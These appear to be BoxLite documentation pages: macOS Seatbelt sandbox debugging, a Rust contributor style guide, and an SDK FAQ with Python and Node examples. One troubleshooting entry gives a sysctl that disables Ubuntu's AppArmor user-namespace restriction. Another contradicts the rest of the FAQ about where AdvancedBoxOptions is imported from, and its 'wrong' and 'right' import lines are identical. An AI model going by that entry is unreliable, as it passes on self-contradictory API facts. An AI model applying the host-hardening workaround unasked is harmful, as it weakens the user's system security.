'subsystem == "com.apple.sandbox"' # Errors only (denials) log stream --predicate 'subsystem == "com.apple.sandbox"' --level error # Specific process log stream --predicate 'eventMessage CONTAINS "boxlite-shim"' # Combined: show only boxlite denials log stream --predicate 'eventMessage CONTAINS "Sandbox:" AND eventMessage CONTAINS "boxlite" AND eventMessage CONTAINS "deny"' ``` ### Historical queries ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} # Last N minutes log show --last 5m --predicate 'eventMessage CONTAINS "Sandbox:"' # Time range log show --start "2024-01-06 10:00:00" --end "2024-01-06 10:05:00" --predicate 'subsystem == "com.apple.sandbox"' # Count denials by type log show --last 10m --predicate 'eventMessage CONTAINS "Sandbox:" AND eventMessage CONTAINS "deny"' | grep -oE 'deny\(1\) [^ ]+' | sort | uniq -c | sort -rn ``` ### Filtering tips ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} # Exclude noisy system processes log show --last 5m --predicate 'eventMessage CONTAINS "Sandbox:" AND eventMessage CONTAINS "deny" AND NOT eventMessage CONTAINS "imagent" AND NOT eventMessage CONTAINS "bluetoothd"' # Kernel messages only (most reliable) log show --last 5m --predicate 'senderImagePath == "/kernel" AND eventMessage CONTAINS "Sandbox:"' ``` *** ## SBPL policy syntax ### Basic structure ```scheme theme={"theme":{"light":"github-light","dark":"github-dark"}} (version 1) ; Deny everything by default (deny default) ; Allow specific operations (allow process-exec) (allow file-read* (subpath "/usr/lib")) (allow sysctl-read (sysctl-name "hw.ncpu")) ``` ### Common patterns ```scheme theme={"theme":{"light":"github-light","dark":"github-dark"}} ; Allow reading an entire directory tree (allow file-read* (subpath "/path/to/dir")) ; Allow reading a single file only (allow file-read* (literal "/path/to/file")) ; Allow reading files matching a regex (allow file-read* (regex #"^/Users/[^/]+/\.boxlite/")) ; Allow multiple sysctls (allow sysctl-read (sysctl-name "hw.ncpu") (sysctl-name "hw.memsize") (sysctl-name-prefix "kern.proc.")) ; Allow mach service lookup (allow mach-lookup (global-name "com.apple.CoreServices.coreservicesd") (global-name "com.apple.system.logger")) ``` ### Validating syntax ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} # Test whether the policy syntax is valid (inline policy) sandbox-exec -p '(version 1)(deny default)(allow process-exec)' /bin/echo "Policy OK" # Test with a policy file sandbox-exec -f /path/to/policy.sbpl /bin/echo "Policy OK" # Replace /path/to/policy.sbpl with the path to your policy file ``` *** ## BoxLite policy files BoxLite's Seatbelt policy is split across several files: the static fragments are in `src/boxlite/resources/seatbelt/`, and the dynamic assembly is in `src/boxlite/src/jailer/sandbox/seatbelt.rs`: | File | Purpose | | - | - | | `src/boxlite/resources/seatbelt/seatbelt_base_policy.sbpl` | Process ops, sysctls, mach services, IOKit; contains `(deny default)` | | `src/boxlite/resources/seatbelt/seatbelt_file_read_policy.sbpl` | Static system paths allowed for reading | | `src/boxlite/resources/seatbelt/seatbelt_file_write_policy.sbpl` | Static paths allowed for writing (e.g. `/tmp`) | | `src/boxlite/resources/seatbelt/seatbelt_network_policy.sbpl` | Network access (optional) | | `src/boxlite/src/jailer/sandbox/seatbelt.rs` | Dynamic policy assembly (binary path, mounted volumes, box directory) | ### Viewing the full generated policy The full runtime policy is assembled by `build_sandbox_policy()` in `src/boxlite/src/jailer/sandbox/seatbelt.rs` and passed directly via `sandbox-exec -p`. The absolute path of `sandbox-exec` is hardcoded to `/usr/bin/sandbox-exec` (the constant `SANDBOX_EXEC_PATH`, to prevent PATH injection). When debugging, focus on: * The static fragments: `src/boxlite/resources/seatbelt/*.sbpl` * Dynamic path grants: `build_dynamic_read_paths()` and `build_dynamic_write_paths()` (both in `seatbelt.rs`) * The denial records from `log show` / `log stream`, used to locate the missing allow clause *** ## Troubleshooting ### Changes to `.sbpl` did not take effect The `.sbpl` files are embedded into the binary at compile time via `include_str!` (see the consts at the top of `seatbelt.rs`). After modifying them, you must force a rebuild: ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} # Force a recompile of the Rust library cargo clean -p boxlite cargo build -p boxlite # Python SDK make dev:python ``` ### Path canonicalization (symlink problem) macOS uses symlinks: `/var` -> `/private/var`, `/tmp` -> `/private/tmp`. The policy must use the canonicalized real path: ```scheme theme={"theme":{"light":"github-light","dark":"github-dark"}} ; Wrong -- /tmp is a symlink; the rule will not match (allow file-write* (subpath "/tmp")) ; Correct -- use the canonical path (allow file-write* (subpath "/private/tmp")) ``` ### Duplicate denials The log may show "X duplicate reports for...", meaning the same denial happened multiple times. Fix the root cause; you do not need to handle each one individually. ### Silent failure (no log, but a hang/crash) Some denials are not written to the log immediately. If the process hangs or crashes without a denial record: 1. Check the crash reports: `ls ~/Library/Logs/DiagnosticReports/*shim*` 2. Confirm the process actually started: check the host logs 3. Temporarily run with sandbox isolation off to narrow it down (see the next item) ### Distinguishing "permissions" from "sandbox" Not all failures are caused by Sandbox. Also check: * File permissions (`ls -la`) * Whether the directory exists * Hypervisor.framework entitlements ### Narrow the problem with a security preset (SDK layer) To tell whether the problem is caused by the isolation layer, temporarily switch the security level in the SDK. **Note: security options are passed via `advanced=AdvancedBoxOptions(security=...)`; there is no top-level `security=` keyword**, and `AdvancedBoxOptions` is exported at the top level: ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio import boxlite from boxlite import SecurityOptions from boxlite import AdvancedBoxOptions async def main() -> None: # Presets: development() / standard() / maximum() (there is no .minimum()) # Security options are passed via advanced=AdvancedBoxOptions(security=...); there is no top-level security= keyword. # SimpleBox forwards extra kwargs (including advanced) to the underlying BoxOptions. try: async with boxlite.SimpleBox( image="alpine:latest", advanced=AdvancedBoxOptions(security=SecurityOptions.development()), ) as box: # SimpleBox.exec returns an ExecResult (output already drained); the timeout parameter is timeout (float) result = await box.exec("echo", "hello", timeout=10.0) if result.exit_code != 0: print(f"non-zero exit: {result.exit_code}\n{result.stderr}") else: print(result.stdout) except RuntimeError as exc: print(f"failed: {exc}") if __name__ == "__main__": asyncio.run(main()) ``` > If you want to manage the lifecycle manually with the native `Boxlite` + `Box` > handles: the native `Box.exec(...)` returns an **`Execution`** (not > an `ExecResult`); you must `await execution.wait()` to get the exit code and > read the `stdout()`/`stderr()` streams; remove with > `runtime.remove(box.id, force=True)` (on the runtime, not `box.remove()`). The > `SimpleBox` form above already drains output automatically, which is more > convenient for debugging. > If a box fails to start with `SecurityOptions.maximum()` but works with > `development()`, the Seatbelt policy is almost certainly missing an allow rule > — go back to Step 1 and capture the `deny` line. ### Start fails outright / no virtualization macOS starts the microVM via Apple Hypervisor.framework (no `/dev/kvm` required). If the machine has no hardware virtualization or the entitlement is missing, the box fails to start and raises a standard `RuntimeError` (the process stays alive and can be caught with `try/except`). ### Image pull failure raises `RuntimeError` (not `BoxliteError`) A missing command or an image pull failure raises a standard `RuntimeError` (Python) / bare `Error` (Node), not `BoxliteError`. See [Error Handling](/guides/error-handling#troubleshooting). ## Debugging checklist * [ ] Start `log stream` before running the test * [ ] Filter logs by process name (`boxlite-shim`) * [ ] Look for `deny(1)` messages * [ ] Record the exact operation and target * [ ] Add a minimal rule (prefer `literal` over `subpath`) * [ ] Document in a comment why the rule is needed * [ ] Rebuild and retest * [ ] Confirm no new denials appear *** ## Further reading * [Apple Sandbox Guide](https://developer.apple.com/library/archive/documentation/Security/Conceptual/AppSandboxDesignGuide/) * [SBPL Reference (reverse-engineered)](https://reverse.put.as/wp-content/uploads/2011/09/Apple-Sandbox-Guide-v1.0.pdf) * [Chromium macOS Sandbox](https://chromium.googlesource.com/chromium/src/+/main/sandbox/mac/) # Rust style guide Source: https://docs.boxlite.ai/development/rust-style Coding conventions for contributors to the BoxLite core (the Rust crates). The goal is for submitted PRs to pass the CI cargo fmt / cargo clippy gates on the first try and to stay consistent with the existing codebase. BoxLite follows the [Microsoft Rust Guidelines](https://microsoft.github.io/rust-guidelines) and layers its own conventions on top. Examples target the `boxlite` crate (source under `src/boxlite/src/`) and the shared crate `boxlite-shared` (source under `src/shared/src/`). ## External references * **Microsoft Rust Guidelines**: [https://microsoft.github.io/rust-guidelines](https://microsoft.github.io/rust-guidelines) * **Rust API Guidelines**: [https://rust-lang.github.io/api-guidelines/](https://rust-lang.github.io/api-guidelines/) ## General guidelines (required) The following guidelines from the Microsoft Rust Guidelines are especially important for BoxLite: | Guideline | Summary | | - | - | | **M-PANIC-IS-STOP** | A panic terminates the process — it is not an exception and must not be used for recoverable errors. | | **M-PANIC-ON-BUG** | Panic only on programming errors (bugs), never for expected failures. | | **M-CONCISE-NAMES** | Avoid meaningless qualifiers: "Service", "Manager", "Factory", "Handler". | | **M-LOG-STRUCTURED** | Use structured logging with meaningful fields. | | **M-DOCUMENTED-MAGIC** | Document every magic number and constant. | | **M-PUBLIC-DEBUG** | All public types must implement `Debug`. | | **M-PUBLIC-DISPLAY** | User-facing types should implement `Display`. | | **M-LINT-OVERRIDE-EXPECT** | Prefer `#[expect]` over `#[allow]` for lint overrides. | | **M-REGULAR-FN** | When `self` is not needed, prefer a plain function over a method. | | **M-SMALLER-CRATES** | Keep each crate focused on a single responsibility. | ## Unsafe guidelines | Guideline | Summary | | - | - | | **M-UNSAFE** | Minimize unsafe code; isolate it in small, well-documented functions. | | **M-UNSAFE-IMPLIES-UB** | Document every precondition whose violation could trigger undefined behavior (UB) in unsafe code. | | **M-UNSOUND** | Never expose an unsound API; soundness must be guaranteed. | ## BoxLite-specific patterns ### Async-first architecture All I/O operations use `async/await` and run on the Tokio runtime: ```rust theme={"theme":{"light":"github-light","dark":"github-dark"}} use std::path::Path; use boxlite_shared::{BoxliteError, BoxliteResult}; // ✅ Correct: async I/O async fn read_config(path: &Path) -> BoxliteResult { let contents = tokio::fs::read_to_string(path) .await .map_err(|e| BoxliteError::Storage(format!( "failed to read config {}: {}", path.display(), e )))?; Ok(contents) } // ❌ Wrong: blocking I/O in an async context async fn read_config_blocking(path: &Path) -> BoxliteResult { // std::fs::read_to_string blocks the entire executor thread! let contents = std::fs::read_to_string(path) .map_err(|e| BoxliteError::Storage(e.to_string()))?; Ok(contents) } ``` > `BoxliteResult` and `BoxliteError` are both defined in `boxlite-shared` and re-exported at the top level of the `boxlite` crate (`src/boxlite/src/lib.rs`). ### Centralized error handling All errors flow through the `BoxliteError` enum (defined in `src/shared/src/errors.rs`). Always attach context when reporting an error: ```rust theme={"theme":{"light":"github-light","dark":"github-dark"}} use std::path::Path; use boxlite_shared::{BoxliteError, BoxliteResult}; // ✅ Correct: use BoxliteError with context fn ensure_socket_dir(socket_dir: &Path) -> BoxliteResult<()> { std::fs::create_dir_all(socket_dir).map_err(|e| { BoxliteError::Storage(format!( "failed to create socket directory {}: {}", socket_dir.display(), e )) })?; Ok(()) } // ❌ Wrong: a bare `?` discards context; the caller cannot locate the failure fn ensure_socket_dir_bad(dir: &Path) -> std::io::Result<()> { std::fs::create_dir_all(dir)?; // on error only "Permission denied" remains, with no directory Ok(()) } ``` Common `BoxliteError` variants (a selection from `src/shared/src/errors.rs`): `Storage`, `Config`, `Image`, `Network`, `Execution`, `NotFound`, `AlreadyExists`, `InvalidState`, `InvalidArgument`, `Stopped`, `Internal`, and others — all in the form `BoxliteError::Variant(String)`. Choose the variant closest to the semantics; do not default everything to `Internal`. > Note: there is no `BoxliteError::Run` variant — use `BoxliteError::Execution(...)` for execution-related errors. ### Public types must be `Send + Sync` Every public type exposed through the API must be thread-safe. Use `Arc` to share ownership across threads; do not use `Rc`: ```rust theme={"theme":{"light":"github-light","dark":"github-dark"}} use std::sync::Arc; // ✅ Correct: use Arc to share ownership across threads (see LiteBox in src/boxlite/src/litebox/mod.rs) pub struct LiteBox { box_backend: Arc, snapshot_backend: Arc, } // ❌ Wrong: Rc is not Send and cannot cross threads pub struct LiteBoxBad { backend: std::rc::Rc, // not thread-safe! } // The two traits below exist only so the example above compiles standalone pub trait BoxBackend: Send + Sync {} pub trait SnapshotBackend: Send + Sync {} ``` > The real `LiteBox` (`src/boxlite/src/litebox/mod.rs`) holds `Arc` / `Arc` to provide a cloneable, thread-safe handle. Methods such as `exec` (the command-execution method; see `src/boxlite/src/litebox/mod.rs`) take `&self` so the handle can be shared. ## Formatting and linting * **Formatting**: `cargo fmt` (enforced in CI; the repository root carries the `rustfmt.toml` configuration). * **Linting**: `cargo clippy` (warnings are treated as errors in CI). Before submitting, run the following from the repository root: ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} # 1) Format all code cargo fmt # 2) Run clippy over all targets / features, treating warnings as errors cargo clippy --all-targets --all-features -- -D warnings ``` > `cargo fmt --check` does not modify files; it only reports whether formatting is needed, which makes it suitable as a gate in scripts. ## Quick self-check When writing Rust for BoxLite, ask yourself before submitting: 1. **Is this panic necessary?** (M-PANIC-ON-BUG) — panic only on bugs; use `Result` for expected errors. 2. **Is this name clear enough?** (M-CONCISE-NAMES) — avoid "Manager", "Service", "Factory". 3. **Is the unsafe code minimized?** (M-UNSAFE) — isolate and document unsafe code. 4. **Does it implement `Debug`?** (M-PUBLIC-DEBUG) — required for all public types. 5. **Is it async?** — all I/O should be Tokio-based and asynchronous. 6. **Does the error carry context?** — use `BoxliteError` with a clear description. ## Troubleshooting | Symptom / error | Cause | Fix | | - | - | - | | CI `cargo clippy` fails but it passes locally | Locally you did not pass `-D warnings`, so warnings were ignored; or not all targets/features were covered | Reproduce the gate locally: `cargo clippy --all-targets --all-features -- -D warnings` | | `cargo fmt` reformats a large block of unrelated lines | Your local rustfmt version differs from CI | Use the same toolchain as CI (the `rustup` default stable); the repository-root `rustfmt.toml` is the single source of formatting truth — do not override it in your editor | | `error[E0277]: Rc<...> cannot be sent between threads safely` | You used `Rc`/`RefCell` in a public type that must be `Send + Sync` | Switch to `Arc`; when interior mutability is needed, use `Arc>` or `Arc>` | | Throughput collapses / tasks stall after calling a blocking API inside an async function | A blocking call such as `std::fs` / `std::thread::sleep` was used in an async context, occupying an executor thread | Switch to `tokio::fs` / `tokio::time::sleep`; for genuinely blocking computation use `tokio::task::spawn_blocking` | | `cannot find type BoxliteError in this scope` | The error type was not imported from the correct path | `use boxlite_shared::{BoxliteError, BoxliteResult};` (defined in `src/shared/src/errors.rs` and re-exported at the top level of `boxlite`) | | Using `BoxliteError::Run(...)` fails to compile with "no variant named Run" | That variant does not exist | Use `BoxliteError::Execution(...)` for execution errors; pick an existing variant from `src/shared/src/errors.rs` by semantics | # FAQ Source: https://docs.boxlite.ai/faq Short answers to what teams ask most when adopting BoxLite, with copy-runnable snippets. Every code block here is checked against the SDK, so pasting one will not land you in the classic wrong-package-name or wrong-field-name traps. ## General Questions ### What is BoxLite, and how is it different from Docker? BoxLite runs each sandbox as a separate microVM with its own kernel, embedded directly in your process — no daemon, no root. Docker shares the host kernel via namespaces/cgroups and needs a daemon. | Aspect | BoxLite | Docker | | - | - | - | | Isolation | Hardware microVM (separate kernel) | Container (shared kernel) | | Daemon | None (embedded library) | Requires daemon | | Root/sudo | Not required | Typically required | | Best for | Untrusted code, AI agents, embedded sandboxing | App deployment, CI/CD | | Startup (cached image) | \~1-2s | \~100-500ms | Choose BoxLite when you need hardware-level isolation for untrusted or agent-generated code without standing up infrastructure. ### Do I need root or sudo? No. On macOS the virtualization stack is available to all users. On Linux you only need access to `/dev/kvm`, granted via group membership: ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} sudo usermod -aG kvm $USER # Log out and back in (or `newgrp kvm`) for the change to take effect. ``` ### Which platforms are supported? | Platform | Status | | - | - | | macOS ARM64 (Apple Silicon) | Supported | | Linux x86\_64 | Supported | | Linux ARM64 | Supported | | Windows (WSL2 + KVM) | Supported | | macOS Intel | Not supported | Native Windows (without WSL2) is not supported. ### What Python / Node versions are required? * Python **3.10+** (`python --version`). * Node.js **18+** (the package is ESM-only). ### How do I check my installed version? ```python Python theme={"theme":{"light":"github-light","dark":"github-dark"}} # Python import boxlite print(boxlite.__version__) # prints the latest published version ``` ```typescript Node.js theme={"theme":{"light":"github-light","dark":"github-dark"}} // Node — version comes from the package metadata import { createRequire } from "node:module"; const require = createRequire(import.meta.url); console.log(require("@boxlite-ai/boxlite/package.json").version); ``` ## Configuration & Resources ### How much memory does a box use, and what's the default? When you do not pass `memory_mib`/`cpus`, the wrapper forwards an **unset** value (`None`), and the actual VM allocation is decided by the libkrun runtime, **not** by the SDK constants. The runtime's own fallback is host-derived and can be larger than any of the SDK constants below. Each SDK also exports its own `DEFAULT_MEMORY_MIB` / `DEFAULT_CPUS` constants, but these are **not** the effective default — the wrappers do not substitute them when the value is unset, so don't rely on them: | SDK constant | `DEFAULT_MEMORY_MIB` | `DEFAULT_CPUS` | | - | - | - | | Python (`boxlite.constants`) | 1024 | 1 | | Node (`@boxlite-ai/boxlite` constants) | 512 | 1 | | Rust core (`constants.rs`) | 1024 | 1 | The safest approach is to always set resources explicitly: ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # Python — explicit resource sizing import asyncio from boxlite import SimpleBox, BoxliteError async def main() -> None: try: async with SimpleBox( image="python:slim", memory_mib=2048, # MiB cpus=4, ) as box: result = await box.exec("nproc") print("cpus visible to guest:", result.stdout.strip()) except (BoxliteError, RuntimeError) as exc: print(f"error: {exc}") asyncio.run(main()) ``` ### How do I mount a host directory into the box? Use the `volumes` parameter. The third element of each tuple is a **boolean `read_only`** (`True` = read-only, `False` = read-write) — **not** the string `"ro"`/`"rw"`. A 2-tuple defaults to read-write. ```python Python theme={"theme":{"light":"github-light","dark":"github-dark"}} # Python — mount host dir read-only via SimpleBox(volumes=...) import asyncio from pathlib import Path from boxlite import SimpleBox, BoxliteError HOST_DIR = "" # <-- replace with an absolute host directory async def main() -> None: Path(HOST_DIR).mkdir(parents=True, exist_ok=True) try: # SimpleBox forwards volumes/secrets/advanced to BoxOptions, and its # exec() takes varargs and returns an ExecResult (with .stdout / .exit_code). async with SimpleBox( image="alpine:latest", volumes=[ (HOST_DIR, "/mnt/data", True), # True = read-only # (HOST_DIR, "/mnt/rw"), # 2-tuple = read-write ], ) as box: result = await box.exec("ls", "-la", "/mnt/data") print(result.stdout) except (BoxliteError, RuntimeError) as exc: print(f"error: {exc}") asyncio.run(main()) ``` ```typescript Node.js theme={"theme":{"light":"github-light","dark":"github-dark"}} // Node — readOnly is a boolean field on each volume entry import { SimpleBox } from "@boxlite-ai/boxlite"; async function main(): Promise { try { await using box = new SimpleBox({ image: "alpine:latest", volumes: [ { hostPath: "", guestPath: "/mnt/data", readOnly: true }, ], }); const result = await box.exec("ls", "-la", "/mnt/data"); console.log(result.stdout); } catch (err) { console.error("error:", err); } } main(); ``` > Why `SimpleBox` and not `runtime.create(opts)` here? `runtime.create()` returns the > **native** `Box`, whose `exec(command, args_list)` takes args as a **list** and returns a > streaming `Execution` (you then `await execution.wait()` for `exit_code`; stdout/stderr stream > off the `Execution`). The convenient `exec(cmd, *args) -> ExecResult` shown throughout this page > is the **`SimpleBox`/`CodeBox`** wrapper API. Don't mix the two: `nativeBox.exec("ls", "-la", "/x")` > raises `TypeError: argument 'args': Can't extract 'str' to 'Vec'`, and the returned `Execution` > has no `.exit_code` / `.stdout`. ### How do I expose ports from a box? Use `ports`. Each entry is `(host_port, guest_port, protocol)` in Python or an object in Node. A `host_port` of `0`/omitted means "same as guest port". ```python Python theme={"theme":{"light":"github-light","dark":"github-dark"}} # Python — publish guest port 80 on host port 8080 from boxlite import BoxOptions opts = BoxOptions( image="nginx:alpine", ports=[(8080, 80, "tcp")], # host 8080 -> guest 80 ) ``` ```typescript Node.js theme={"theme":{"light":"github-light","dark":"github-dark"}} // Node — ports use {hostPort?, guestPort, protocol?} import { SimpleBox } from "@boxlite-ai/boxlite"; const box = new SimpleBox({ image: "nginx:alpine", ports: [{ hostPort: 8080, guestPort: 80, protocol: "tcp" }], }); ``` ### How do I pass secrets into a box? Secrets are the Vault entry point. Pass `Secret` objects via `BoxOptions(secrets=[...])`. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # Python — inject a secret value scoped to specific hosts import asyncio from boxlite import SimpleBox, Secret, BoxliteError async def main() -> None: try: async with SimpleBox( image="alpine:latest", secrets=[ Secret( name="API_TOKEN", value="", # <-- replace hosts=["api.example.com"], placeholder="{{API_TOKEN}}", ), ], ) as box: result = await box.exec("true") print("exit_code:", result.exit_code) except (BoxliteError, RuntimeError) as exc: print(f"error: {exc}") asyncio.run(main()) ``` ### How do I enable stronger isolation / security? Security options go through `advanced`. There is **no top-level `security=` keyword** on `BoxOptions`, and `AdvancedBoxOptions` is exported at the top level: `from boxlite import AdvancedBoxOptions`. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # Python — maximum isolation preset import asyncio from boxlite import SimpleBox, SecurityOptions, BoxliteError from boxlite import AdvancedBoxOptions async def main() -> None: try: async with SimpleBox( image="alpine:latest", advanced=AdvancedBoxOptions( security=SecurityOptions.maximum(), ), ) as box: result = await box.exec("id") print(result.stdout.strip()) except (BoxliteError, RuntimeError) as exc: print(f"error: {exc}") asyncio.run(main()) ``` ## Lifecycle & Inspection ### How do I list, inspect, and remove boxes? These are **runtime** methods — `list_info()` (not `list()`) and `remove(id_or_name, force=False)`. There is no `box.remove()`. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # Python — enumerate, inspect, and clean up import asyncio from boxlite import Boxlite, BoxliteError async def main() -> None: try: with Boxlite.default() as runtime: # list_info() and remove() are async runtime methods — await them. for info in await runtime.list_info(): # BoxInfo.state is a BoxStateInfo; its field is .status (a string). print(info.id, info.state.status, info.image) await runtime.remove(info.id, force=True) except (BoxliteError, RuntimeError) as exc: print(f"error: {exc}") asyncio.run(main()) ``` ### How do I read a box's state and metrics? `box.info()` is **async** — `await` it. State lives in `info().state.status`. Metric field names are `memory_bytes` and `cpu_percent` (not `memory_usage_bytes` / `cpu_time_ms`). > Note: `metrics()` lives on the **native** `Box` (the object returned by `runtime.create(opts)`), > not on the `SimpleBox`/`CodeBox` wrappers — `SimpleBox` exposes `info()` but **not** `metrics()` > (`AttributeError: 'SimpleBox' object has no attribute 'metrics'`). Use the native box for metrics. > On the native box, `exec(command, args_list)` returns an `Execution`; `await execution.wait()` > yields an `ExecResult` carrying only `exit_code` / `error_message` (stdout/stderr stream off the > `Execution`). both `info()` and `metrics()` are async. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # Python — both info() and metrics() are async on the native Box import asyncio from boxlite import Boxlite, BoxOptions, BoxliteError async def main() -> None: try: # Boxlite runtime is a SYNCHRONOUS context manager. with Boxlite.default() as runtime: box = await runtime.create(BoxOptions(image="alpine:latest")) # async — await it try: async with box: # Box is an ASYNC context manager execution = await box.exec("true") # native exec -> Execution await execution.wait() # ensure the command ran info = await box.info() # async — await it print("status:", info.state.status) metrics = await box.metrics() # async if metrics.memory_bytes is not None: print(f"memory: {metrics.memory_bytes / 1024**2:.1f} MiB") if metrics.cpu_percent is not None: print(f"cpu: {metrics.cpu_percent:.1f}%") finally: # `async with box` already auto-removes on exit (auto_remove # defaults to True), so a follow-up remove() may report # "box not found" — that is expected, not an error. try: await runtime.remove(box.id, force=True) # async — await it except RuntimeError: pass except (BoxliteError, RuntimeError) as exc: print(f"error: {exc}") asyncio.run(main()) ``` ### How do I see runtime-wide metrics (e.g. how many boxes are running)? The field is `num_running_boxes` (not `active_boxes`). ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # Python — runtime metrics import asyncio from boxlite import Boxlite, BoxliteError async def main() -> None: try: # Boxlite is a SYNCHRONOUS context manager, but metrics() is async. with Boxlite.default() as runtime: m = await runtime.metrics() # async — await it print("running:", m.num_running_boxes) print("created total:", m.boxes_created_total) print("failed total:", m.boxes_failed_total) print("commands executed:", m.total_commands_executed) print("exec errors:", m.total_exec_errors) except (BoxliteError, RuntimeError) as exc: print(f"error: {exc}") asyncio.run(main()) ``` ### How do I set an execution timeout? The parameter name differs by layer: | Call | Parameter | Type | | - | - | - | | `SimpleBox.exec(...)` (Python) | `timeout` | `float` (seconds) | | `CodeBox.run(...)` (Python) | `timeout` | `int` (accepted but not enforced) | | native `Box.exec(...)` (Python) | `timeout_secs` | `float` | | `SimpleBox.exec(...)` (Node) | `options.timeoutSecs` | `number` | ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # Python — SimpleBox.exec timeout (seconds, float); env is a dict import asyncio from boxlite import SimpleBox, BoxliteError async def main() -> None: try: async with SimpleBox(image="alpine:latest") as box: result = await box.exec( "sh", "-c", "echo $GREETING", env={"GREETING": "hi"}, # dict, NOT a list timeout=30.0, # seconds ) print(result.stdout.strip()) except (BoxliteError, RuntimeError) as exc: print(f"error: {exc}") asyncio.run(main()) ``` ## Networking ### Do boxes have internet access? Yes, by default. Outbound HTTP/HTTPS, DNS, and arbitrary TCP/UDP work out of the box. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # Python — verify outbound connectivity import asyncio from boxlite import SimpleBox, BoxliteError async def main() -> None: try: async with SimpleBox(image="alpine:latest") as box: result = await box.exec( "wget", "-qO-", "https://api.github.com/zen", timeout=30.0 ) print(result.stdout.strip() if result.exit_code == 0 else result.stderr) except (BoxliteError, RuntimeError) as exc: print(f"error: {exc}") asyncio.run(main()) ``` ### Can I restrict which hosts a box can reach? Yes, via `NetworkSpec`. The default is "enabled with an empty egress allowlist", which permits general egress. To lock it down, list allowed hosts. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # Python — restrict egress to an allowlist from boxlite import BoxOptions, NetworkSpec # NetworkSpec(mode, allow_net=[]): `mode` is REQUIRED ("enabled" or "disabled"). # mode="enabled" with a non-empty allow_net = only those hosts are reachable. opts = BoxOptions( image="alpine:latest", network=NetworkSpec(mode="enabled", allow_net=["api.github.com"]), ) ``` ### Can two boxes talk to each other directly? No. Boxes are isolated. Share data through host volumes, expose a port and connect through the host, or use an external service (Redis/DB) both can reach. ## Troubleshooting ### `TypeError: 'str' object cannot be cast as 'bool'` when mounting a volume A volume's third element is the boolean `read_only`; the strings `"ro"`/`"rw"` are CLI-only and raise `TypeError` here. See [Volumes](/manage-sandbox/volumes#troubleshooting). The CLI is the only place that uses `:ro`/`:rw` strings (`-v host:box:ro`); that is the CLI parser, not the SDK API. ### `AttributeError: module 'boxlite' has no attribute 'AdvancedBoxOptions'` `AdvancedBoxOptions` lives in the `boxlite.boxlite` submodule, not the top level — see [Inject secrets and harden a box](/manage-sandbox/secrets-and-security#troubleshooting). ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # Wrong # from boxlite import AdvancedBoxOptions # AttributeError # Right from boxlite import AdvancedBoxOptions ``` Also note `SecurityOptions` (with presets `development()/standard()/maximum()`) **is** at the top level; only `AdvancedBoxOptions` lives in `boxlite.boxlite`. ### `AttributeError` on `memory_usage_bytes` / `active_boxes` / `box.info().status` These names changed (or never existed). Use the real ones: | Wrong | Right | | - | - | | `metrics.memory_usage_bytes` | `metrics.memory_bytes` | | `metrics.cpu_time_ms` | `metrics.cpu_percent` | | `runtime.metrics().active_boxes` | `runtime.metrics().num_running_boxes` | | `box.info().status` | `box.info().state.status` | | `runtime.list()` | `runtime.list_info()` | | `box.remove()` | `runtime.remove(id, force=True)` | ### `await box.info()` raises / behaves oddly `info()` is async in every SDK — `await` it. In Node both `info()` and `getInfo()` return a Promise. ### A failing command did not raise an exception `exec()` does **not** raise on a non-zero exit code — it returns a result with `exit_code != 0` (Python) / `exitCode !== 0` (Node). Check it yourself. Truly broken invocations behave differently: * A missing command or image pull failure surfaces as a builtin `RuntimeError` (Python) or a bare `Error` (Node) — **not** a `BoxliteError` subclass. Catch the standard exception too. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} result = await box.exec("false") assert result.exit_code != 0 # no exception was raised ``` ### Wrong package name on Node The npm package is `@boxlite-ai/boxlite`. `import { Boxlite } from "boxlite"` or `from "@boxlite/sdk"` will fail — both the package name and the class name are wrong. The runtime class is `JsBoxlite`; for everyday use prefer the `SimpleBox` / `CodeBox` wrappers. ### "Image pull failed" / network errors during startup First runs pull the image and can take 5-30s; transient network issues surface as a `RuntimeError`. Retry, verify the image reference (`python:slim`, not `python/slim`), and authenticate for private registries. ### "Timeout waiting for guest ready" on Linux / WSL2 Your shell cannot open `/dev/kvm` (often `root:kvm` mode `660` and your user not in the `kvm` group): ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} sudo usermod -aG kvm $USER # WSL2: restart with `wsl.exe --shutdown` from PowerShell, or `newgrp kvm`. python3 -c "open('/dev/kvm','rb').close(); print('kvm ok')" ``` ### Ubuntu 24.04: box only starts with `sudo` Ubuntu 24.04 restricts unprivileged user namespaces via AppArmor but doesn't ship the `bwrap-userns-restrict` profile (Ubuntu 25.04+ does). Diagnose and pick a fix: ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} dmesg | grep apparmor # look for DENIED ... comm="bwrap" aa-status | grep bwrap ``` Quick (less secure) workaround: ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} sudo sysctl -w kernel.apparmor_restrict_unprivileged_userns=0 echo "kernel.apparmor_restrict_unprivileged_userns=0" | \ sudo tee /etc/sysctl.d/99-boxlite-userns.conf ``` Or, in a development environment where you do not need full sandbox isolation, relax the security preset: ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} from boxlite import BoxOptions, SecurityOptions from boxlite import AdvancedBoxOptions opts = BoxOptions( image="alpine:latest", advanced=AdvancedBoxOptions(security=SecurityOptions.development()), ) ``` ### Environment requirement: no virtualization available BoxLite needs hardware virtualization. On Linux that means KVM; on macOS the built-in virtualization stack (no `/dev/kvm` required); on Windows, WSL2 with KVM. Without it, box startup fails — the exception is catchable and your process stays alive, but the box cannot run. ## Getting Help If this page did not answer your question, the project is developed in the open on GitHub: * [GitHub Issues](https://github.com/boxlite-ai/boxlite/issues) — bug reports and feature requests. * [GitHub 